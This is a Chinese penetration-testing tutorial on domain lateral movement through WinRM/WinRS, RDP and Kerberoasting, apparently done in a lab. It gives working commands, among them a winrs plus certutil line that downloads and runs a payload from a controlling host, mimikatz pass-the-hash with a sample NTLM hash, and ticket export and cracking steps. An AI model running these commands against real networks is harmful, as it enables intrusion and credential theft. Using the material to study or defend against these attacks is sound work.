【内网安全】横向移动-Kerberos-SPN-WinRM-RDP

目录

  • 环境介绍与横向移动前置
  • 域横向移动-WinRM-WinRS
        • 移动条件:
    • 步骤
        • 0、攻击机开启winrm服务:
        • 1.CS探针5985端口:
        • 2.连接目标主机并执行命令:
        • 3.上线CS&MSF:
        • 4.CS内置横向移动-winrm
  • 域横向移动-RDP
        • 简介与条件
        • RDP横向移动连接的三种操作
          • 方案2远程连接演示(建立节点)
        • 1.探针服务:
        • 2.探针连接:
        • 3.连接执行:
  • 域横向移动-Spn&Kerberos
        • Kerberoasting 攻击的利用:
        • Kerberos攻击条件:
        • 1.SPN扫描:
        • 2.自动检测域内存在kerberoast攻击的对象:
        • 3.手动检测:(要产生票据文件)
        • 4.导出:
        • 5.破解RC4加密的票据:
        • 5.重写:

环境介绍与横向移动前置

看之前的文章

域横向移动-WinRM-WinRS

WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务
默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。

移动条件:
  • 双方都启用的Winrm rs的服务!(端口默认为5985)
  • 使用此服务需要管理员级别凭据
  • Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
  • Windows 2012之后的版本默认允许远程任意主机来管理。

步骤

0、攻击机开启winrm服务:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
1.CS探针5985端口:

powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
2.连接目标主机并执行命令:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami


注:CS 中执行是没有回显的

3.上线CS&MSF:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe 4455.exe & 4455.exe"

4.CS内置横向移动-winrm


试了下但没有成功

域横向移动-RDP

简介与条件

RDP远程桌面服务 支持明文及HASH连接
条件:对方开启RDP服务 远程桌面

当前我们已经取到31主机的权限,目前要利用RDP连接到32,且32是不出网的。这时我们肯定是需要用31做为跳板机去实现。

以下是利用RDP进行连接的三种方式

RDP横向移动连接的三种操作

1.直接连接当前被控主机进行远程连接 (不推荐,容易被发现)
2.建立节点进行连接 (推荐)
3.端口转发(当前2222 去访问目标的3389,相当于把访问目标3389的流量转发到本地的2222,访问本机2222就是连接目标3389),这种方式需要上传端口转发工具

注意点:一定不要在当前已经登录的用户上进行连接(你也不想看到电脑鼠标自己在动吧)

方案2远程连接演示(建立节点)

CS中对被控主机建立一个节点

本机连接代理服务器

打开本机的远程桌面连接,填写32主机IP与用户名

选择其他用户登录并写好账号与密码,密码可以由CS密码凭据获得

连接成功

1.探针服务:

cs 内置端口扫描3389

tasklist /svc | find "TermService" # 找到对应远程桌面服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号
2.探针连接:

CrackMapExec&MSF 批扫用户名密码验证
这一步主要是判断域内哪些主机可以连接

3.连接执行:

明文连接:

mstsc /console /v:192.168.3.32 /admin

HASH连接:

mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"

域横向移动-Spn&Kerberos

Kerberoasting 攻击的利用:
  • SPN服务发现
  • 请求服务票据
  • 服务票据的导出
  • 服务票据的暴力破解
    GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
    GitHub - nidem/kerberoast
    技术讨论 | 一次详细的Kerberoast攻击演示 - FreeBuf网络安全行业门户
    如需利用需要配置策略加密方式(对比)
    黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。

DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。

请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。

黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。

如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。

Kerberos攻击条件:

采用rc4加密类型票据,工具Rubeus检测或看票据加密类型
加密类型配置
这里只有选择RC4加密类型的才能破解,AES是无法破解的

也可以用 klist 命令查看
这里是AES的,就无法进行kerberos攻击

1.SPN扫描:

注意修改为自己的域名

SPN扫描域内主机开启的全部服务
setspn -T god.org -q */*
扫描指定服务
setspn -T god.org -q */* | findstr "MSSQL"

2.自动检测域内存在kerberoast攻击的对象:
Rubeus kerberoast

3.手动检测:(要产生票据文件)

除了用 Rubeus 工具自动检测,也可以手动检测

【powershell运行】 
Add-Type -AssemblyName System.IdentityModel【powershell运行】 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"【mimikatz导出票据】
mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433

其中第二条命令的ArgumentList参数,可以用 SPN 检测命令进行获取

4.导出:
mimikatz kerberos::list /export

5.破解RC4加密的票据:
python tgsrepcrack.py pass.txt "2-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"

将票据复制到本地, pass.txt 是字典
密码

5.重写:

参考教程:技术讨论 | 一次详细的Kerberoast攻击演示 - FreeBuf网络安全行业门户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/48383.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(C++二叉树06) 二叉搜索树的最小绝对查和众数 二叉树的最近公共祖先

530、二叉搜索树的最小绝对差 递归法&#xff1a; class Solution { public:vector<int> vec;void traversal(TreeNode* root) {if(root NULL) return;traversal(root->left);vec.push_back(root->val);traversal(root->right);}int getMinimumDifference(Tr…

TCP状态转换详解

1.什么是TCP的状态转换 TCP&#xff08;Transmission Control Protocol&#xff0c;传输控制协议&#xff09;是一种面向连接的、可靠的、基于字节流的传输层协议。在 TCP 连接的生命周期中&#xff0c;连接的状态会随着不同阶段的通信而发生变化&#xff0c;这些变化被称为状…

嵌入式Linux入门知识点汇总-启动过程、设备树、设备框架、锁

目录 1.BootLoader启动过程? 引导加载程序(Bootloader) 补充u-boot的理解 通用的bootloader 2.系统调用过程? 3.设备驱动模型的三个重要成员? 4.驱动和设备注册是否存在先后顺序? 5.framebuffer机制? 6.字符设备和块设备的区别并分别举例? 1.字符设备 2.块设备…

SVN 服务 安装部署 Docker(compose) 方式

通过 dockerhub 或者 命令行运行 &#xff1a; docker search svn 查看 svn 的镜像 如命令行&#xff1a; [rootSGP ~]# docker search svn NAME DESCRIPTION STARS OFFICIAL AUTOMATED garethflower…

ABC(363)

A - Piling Up(模拟) 题意&#xff1a;输入一个数字&#xff0c;数字介于1-99显示一次^,100-199显示两次^....增加显示的^所需的最小的评分增幅 分析&#xff1a;算比次数字大且为100的倍数的最小值-此数字 代码&#xff1a; #include<bits/stdc.h> using namespace …

景联文科技构建高质量心理学系知识图谱,助力大模型成为心理学科专家

心理大模型正处于快速发展阶段&#xff0c;在临床应用、教育、研究等多个领域展现出巨大潜力。 心理学系知识图谱能够丰富心理大模型的认知能力&#xff0c;使其在处理心理学相关问题时更加精确、可靠和有洞察力。这对于提高心理健康服务的质量和效率、促进科学研究以及优化教育…

【Django】网上蛋糕商城后台-订单管理

概念 前面通过多篇文章以完全实现了用户在网上蛋糕商城平台上的所有功能和操作&#xff0c;从本文开始&#xff0c;实现网站的后台管理功能的介绍和操作。 导入静态资源 在static文件夹下&#xff0c;创建admin文件夹&#xff0c;在该文件夹下导入静态资源 在templates文件夹…

cs224w笔记(p5)

链接预测任务的两种类型&#xff1a;随机缺失边&#xff1b;随时间演化边。 第一种假设可以以蛋白质之间的交互作用举例&#xff0c;缺失的是研究者还没有发现的交互作用。 第二种假设可以以社交网络举例&#xff0c;随着时间流转&#xff0c;人们认识更多朋友。 基于相似性进…

zookeeper+kafka消息队列集群部署

一.消息队列 1、什么是消息队列 消息&#xff08;Message&#xff09;是指在应用间传送的数据。消息可以非常简单&#xff0c;比如只包含文本字符串&#xff0c;也可以更复杂&#xff0c;可能包含嵌入对象。 消息队列&#xff08;MessageQueue&#xff09;是一种在软件系统中用…

1、springboot3 vue3开发平台-后端-项目构建

文章目录 1. 创建项目1.1 前置环境条件1.2 项目创建 2. 模块配置2.1 父工程配置概述2.2 配置启动模块2.3 父工程相关依赖管理 1. 创建项目 1.1 前置环境条件 idea2023, jdk17 1.2 项目创建 创建父工程并删除不需要的文件目录&#xff1a; 右键父工程依次创建其他模块 最…

Windows 、Linux、MacOS 进程管理机制

本心、输入输出、结果 文章目录 Windows 、Linux、MacOS 进程管理机制前言Windows 进程管理机制Linux 进程管理macOS 进程管理内存不够了,几个操作系统如何处理Windows 、Linux、MacOS 进程管理机制 编辑 | 简简单单 Online zuozuo 地址 | https://blog.csdn.net/qq_15071263 …

【Qt】窗口

文章目录 QMainWindow菜单栏工具栏状态栏浮动窗口对话框自定义对话框Qt内置对话框QMessageBox QMainWindow Qt中的主窗口以QMainWindow表示&#xff0c;其总体结构如下&#xff1a; 菜单栏 菜单栏MenuBar&#xff0c;可包含多个菜单Menu&#xff0c;每个菜单也可以包含多个菜…

C语言 指针方法 输入一行文字,找出其中大写字母、小写字母、空格、数字以及其他字符各有多少

输入一行文字,找出其中大写字母、小写字母、空格、数字以及其他字符各有多少。 #include <stdio.h>void countCharacters(char *str, int *upper, int *lower, int *space, int *digit, int *other) {*upper = *lower = *space = *digit = *other = 0;while (*str != \0…

Java面试题系列 - 第17天

Java中的代理模式与动态代理 背景说明&#xff1a;代理模式是一种结构型设计模式&#xff0c;用于在客户端和目标对象之间提供一个代理或占位符。在Java中&#xff0c;动态代理技术允许在运行时创建代理对象&#xff0c;这在AOP&#xff08;面向切面编程&#xff09;和RPC&…

03 Git的基本使用

第3章&#xff1a;Git的基本使用 一、创建版本仓库 一&#xff09;TortoiseGit ​ 选择项目地址&#xff0c;右键&#xff0c;创建版本库 ​ 初始化git init版本库 ​ 查看是否生成.git文件&#xff08;隐藏文件&#xff09; 二&#xff09;Git ​ 选择项目地址&#xff0c…

【LeetCode】相同的树

目录 一、题目二、解法完整代码 一、题目 给你两棵二叉树的根节点 p 和 q &#xff0c;编写一个函数来检验这两棵树是否相同。 如果两个树在结构上相同&#xff0c;并且节点具有相同的值&#xff0c;则认为它们是相同的。 示例 1&#xff1a; 输入&#xff1a;p [1,2,3],…

FastGPT 知识库搜索测试功能解析

目录 一、代码解析 1.1 searchTest.ts 1.2 controller.ts 本文接上一篇文章FastGPT 知识库搜索测试功能解析 对具体代码进行解析。 一、代码解析 FastGPT 知识库的搜索测试功能主要涉及两个文件&#xff0c;分别是 searchTest.ts 和 controller.ts 文件&#xff0c;下面分…

【python】练习 10.5:访客簿 编写⼀个 while 循环,提⽰⽤户输⼊其名字。

练习 10.5&#xff1a;访客簿 编写⼀个 while 循环&#xff0c;提⽰⽤户输⼊其名字。 要求 收集⽤户输⼊的所有名字&#xff0c;将其写⼊ guest_book.txt&#xff0c;并确保这个⽂件中 的每条记录都独占⼀⾏。 代码 from pathlib import Pathpath Path(guest_book.txt) gu…

npm下载的依赖包版本号怎么看

npm下载的依赖包版本号怎么看 版本号一般分三个部分&#xff0c;主版本号、次版本号、补丁版本号。 主版本号&#xff1a;一般依赖包发生重大更新时&#xff0c;主版本号才回发生变化&#xff0c;如Vue2.x到Vue3.x。次版本号&#xff1a;当依赖包中发生了一些小变化&#xff…

运行springboot项目报错:java: java.lang.NoSuchFieldError: members_field

项目场景&#xff1a; 在idea中运行从git上拉取的基于springboot框架的项目运行报错 问题描述 运行spingboot项目报错 java: java.lang.NoSuchFieldError: members_field原因分析&#xff1a; 检查你所使用的java版本&#xff08;我这里是在idea上运行的&#xff0c;可以很直…